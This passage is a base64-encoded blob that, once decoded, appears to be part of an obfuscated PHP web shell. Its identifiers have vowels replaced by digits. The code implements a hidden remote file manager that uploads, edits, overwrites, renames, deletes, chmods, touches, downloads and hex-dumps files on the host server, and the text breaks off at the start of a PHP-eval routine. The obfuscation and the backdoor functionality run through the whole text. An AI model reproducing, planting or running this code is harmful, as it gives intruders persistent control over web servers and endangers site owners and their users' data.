HM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQpmM25jdDQybiBtMWRQNXJtc0MybDJyKCRmKSB7DQoJNGYgKCFANHNfcjUxZDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNGRjAwMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPXdoNHQ1PicgLiBtMWRQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNQ0KCQlyNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIG0xZFA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCn0NCg0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQoJZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQoJCSRkaCAgPSAycDVuZDRyKCRkNHIpOw0KCQl3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgIAkJJGY0bDVzW10gPSAkZjRsNW4xbTU7DQoJCXI1dDNybiAkZjRsNXM7DQoJfQ0KfQ0KDQoNCmYzbmN0NDJuIG0xZEY0bDVzTTFuKCkgew0KCW0xZGg1MWQoKTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQkJYzFzNSAnM3BsMjFkRjRsNSc6DQoJCQkJNGYoIUBtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZiddWyd0bXBfbjFtNSddLCAkX0ZJTEVTWydmJ11bJ24xbTUnXSkpDQoJCQkJCTVjaDIgIkMxbid0IDNwbDIxZCBmNGw1ISI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdta2Q0cic6DQoJCQkJNGYoIUBta2Q0cigkX1BPU1RbJ3BhJ10pKQ0KCQkJCQk1Y2gyICJDMW4ndCBjcjUxdDUgbjV3IGQ0ciI7DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdkNWw1dDUnOg0KCQkJCWYzbmN0NDJuIGQ1bDV0NUQ0cigkcDF0aCkgew0KCQkJCQkkcDF0aCA9IChzM2JzdHIoJHAxdGgsLTYpPT0nLycpID8gJHAxdGg6JHAxdGguJy8nOw0KCQkJCQkkZGggID0gMnA1bmQ0cigkcDF0aCk7DQoJCQkJCXdoNGw1ICggKCQ0dDVtID0gcjUxZGQ0cigkZGgpICkgIT09IGYxbHM1KSB7DQoJCQkJCQkkNHQ1bSA9ICRwMXRoLiQ0dDVtOw0KCQkJCQkJNGYgKCAoYjFzNW4xbTUoJDR0NW0pID09ICIuLiIpIHx8IChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4iKSApDQoJCQkJCQkJYzJudDRuMzU7DQoJCQkJCQkkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCgkJCQkJCTRmICgkdHlwNSA9PSAiZDRyIikNCgkJCQkJCQlkNWw1dDVENHIoJDR0NW0pOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJDR0NW0pOw0KCQkJCQl9DQoJCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQkJCUBybWQ0cigkcDF0aCk7DQoJCQkJfQ0KCQkJCTRmKDRzX2Q0cihAJF9QT1NUWydwYSddKSkNCgkJCQlkNWw1dDVENHIoQCRfUE9TVFsncGEnXSk7DQoJCQkJNWxzNQ0KCQkJCUAzbmw0bmsoQCRfUE9TVFsncGEnXSk7DQoJCQkJYnI1MWs7DQoJCWQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJCQkJJF9TRVNTSU9OWycxY3QnXSA9IEAkX1BPU1RbJ3A2J107DQoJCQkJCSRfU0VTU0lPTlsnZiddID0gQCRfUE9TVFsnZiddOw0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRrID0+ICRmKQ0KCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gM3JsZDVjMmQ1KCRmKTsNCgkJCQkJJF9TRVNTSU9OWydjJ10gPSBAJF9QT1NUWydjJ107DQoJCQkJfQ0KCQkJCWJyNTFrOw0KCQl9DQoJfQ0KCSRkNHJDMm50NW50ID0gQHNjMW5kNHIoNHNzNXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7DQoJNGYoJGQ0ckMybnQ1bnQgPT09IGYxbHM1KSB7CTVjaDIgJzxobz48c3Axbj58ICBBY2M1c3MgRDVuNDVkISB8PC9zcDFuPjwvaG8+PC9kNHY+JzttMWRGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiDQo8dDFibDUgdzRkdGg9JzYwMCUnIGNsMXNzPSdtMTRuJyBjNWxsc3AxYzRuZz0nMCcgYzVsbHAxZGQ0bmc9J2EnICA+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGg+TjFtNTwvdGg+PHRoPlM0ejU8L3RoPjx0aD5NMmQ0Znk8L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPlA1cm00c3M0Mm5zPC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IEBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQoJCQkJCSAncDVybXMnID0+IG0xZFA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQoJCQkJCSAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQoJCQkJCSk7DQoJCTRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCgkJNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQoJCQkkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCgkJNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCgl9DQoJJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KCWYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCgkJNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQoJCQlyNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJCTVsczUNCgkJCXI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQoJfQ0KCTNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KCTNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQoJJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQoJJGwgPSAwOw0KCWYycjUxY2goJGY0bDVzIDFzICRmKSB7DQoJCTVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+fCAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgfDwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP20xZFM0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLG4zbGwsXCdkNWw1dDVcJywgXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcpIj4gWCA8LzE+PC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCg0KCQ0KICAgIG0xZGYyMnQ1cigpOw0KIH0NCiAgICANCiAgZjNuY3Q0Mm4gbTFkRjRsNXNUMjJscygpIHsNCgk0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQoJCSRfUE9TVFsncDYnXSA9IDNybGQ1YzJkNSgkX1BPU1RbJ3A2J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KCQkJaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KCQkJNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KCQkJCSR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQoJCQkJaDUxZDVyKCJDMm50NW50LVR5cDU6ICIgLiAkdHlwNSk7DQoJCQl9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAiciIpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoIUBmNTJmKCRmcCkpDQoJCQkJCTVjaDIgQGZyNTFkKCRmcCwgNjBhdSk7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX01eDR0Ow0KCX0NCgk0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCgkJNGYoIWY0bDVfNXg0c3RzKCRfUE9TVFsncDYnXSkpIHsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICd3Jyk7DQoJCQk0ZigkZnApIHsNCgkJCQkkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQoJCQkJZmNsMnM1KCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJDQogICBtMWRoNTFkKCk7DQoJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPkZJTEUgRE9FU1QgTk9UIEVYSVRTIDwvcHI1PjwvZDR2PiI7DQoJCW0xZEYyMnQ1cigpOw0KCQlyNXQzcm47DQoJfQ0KCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCgk0ZighJDM0ZCkgew0KCQkkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQoJCSRnNGRbJ24xbTUnXSA9IEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKTsNCgl9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KCTVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT9tMWRTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy5tMWRQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCTVsczUNCgkJJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJZjJyNTFjaCgkbSAxcyAkdikNCgkJNWNoMiAnPDEgIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj48c3Axbj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj48c3Axbj4gJy4kdi4nIDwvc3Axbj4gPC9iPic6JHYpLicgPC9zcDFuPjwvMT4gJzsNCgk1Y2gyICc8YnI+PGJyPic7DQoJc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KCQljMXM1ICd2NDV3JzoNCgkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3ByNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g0Z2hsNGdodCc6DQoJCQk0ZiggQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkgKSB7DQoJCQkJNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KCQkJCSRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsNCgkJCQk1Y2gyIHN0cl9yNXBsMWM1KDFycjF5KCc8c3AxbiAnLCc8L3NwMW4+JyksIDFycjF5KCc8ZjJudCAnLCc8L2YybnQ+JyksJGMyZDUpLic8L2Q0dj4nOw0KCQkJfQ0KCQkJYnI1MWs7DQoJCWMxczUgJ2NobTJkJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkcDVybXMgPSAwOw0KCQkJCWYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQoJCQkJCSRwNXJtcyArPSAoNG50KSRfUE9TVFsncG8nXVskNF0qcDJ3KDgsIChzdHJsNW4oJF9QT1NUWydwbyddKS0kNC02KSk7DQoJCQkJNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQoJCQkJCTVjaDIgJ0MxblwndCBzNXQgcDVybTRzczQybnMhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj1ibDFjaz48dHI+PHRkIGJnYzJsMnI9Z3IxeT48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJbTFkRjIydDVyKCk7DQp9ICANCg0KZjNuY3Q0Mm4gbTFkcGhwNXYxbCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncGEnXS